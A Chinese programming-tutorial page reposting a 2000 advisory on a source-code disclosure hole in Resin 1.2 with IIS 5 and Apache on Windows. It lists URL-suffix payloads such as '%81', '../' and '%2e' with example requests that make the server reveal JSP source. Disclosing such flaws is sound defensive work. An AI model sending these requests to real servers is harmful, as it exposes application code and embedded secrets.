繁體中文当前位置: 首页 > 图文教程 > 网络编程 > JSP > Resin 1.2 重要源代码暴露漏洞
- JSP
- 缓存JSP显示的内容
- Bean和Servlet的企业应用
- servlet会话
- 怎样从HttpServletRequest中得到完整的请求URL
- Tips for Server-Side Redirection
- 利用Servlet的上下文环境和会话来实现聊天的程序
- Servlet中如何捕获Session事件？
- Servlet实现动态图文结合输出
- 如何在JSP中处理中文
- 使用JSP读取客户端信息
- 取代JSP－－一种新的模版引擎Tea
- Jsp最佳实践
- 如何用servlet在客户端生成一个合成图片
- web.xml 常用结点说明[1]
- Jsp最佳实践(2)
- servlet中的几个路径有关的方法
- JSP连接各类数据库大全(3)
- JSP编程进度条设计实例(2)
- 用JSP操作Cookie(1)
- ASP与JSP的比较(2)
JSP 中的 Resin 1.2 重要源代码暴露漏洞
出处:互联网 整理: 软晨网（RuanChen.com） 发布: 2009-11-02 浏览: 53 ::
收藏到网摘: n/a
class Input Validation Error
cve GENERIC-MAP-NOMATCH
remote Yes
local Yes
published November 23, 2000
updated November 23, 2000
vulnerable Caucho Technology Resin 1.2
- Microsoft IIS 5.0
+ Microsoft Windows NT 2000
- Apache Group Apache 1.3.6win32
Apache (Win32):
..
%2e..
%81
%82
Example: http://target/filename.jsp%81
Resin Web Server:
../
Example: http://target/filename.jsp../
IIS 5 requesting the URL encoded with ASCII:
'%2' instead of '.'
Example: http://target/filename%2ejsp
评论 (0) All
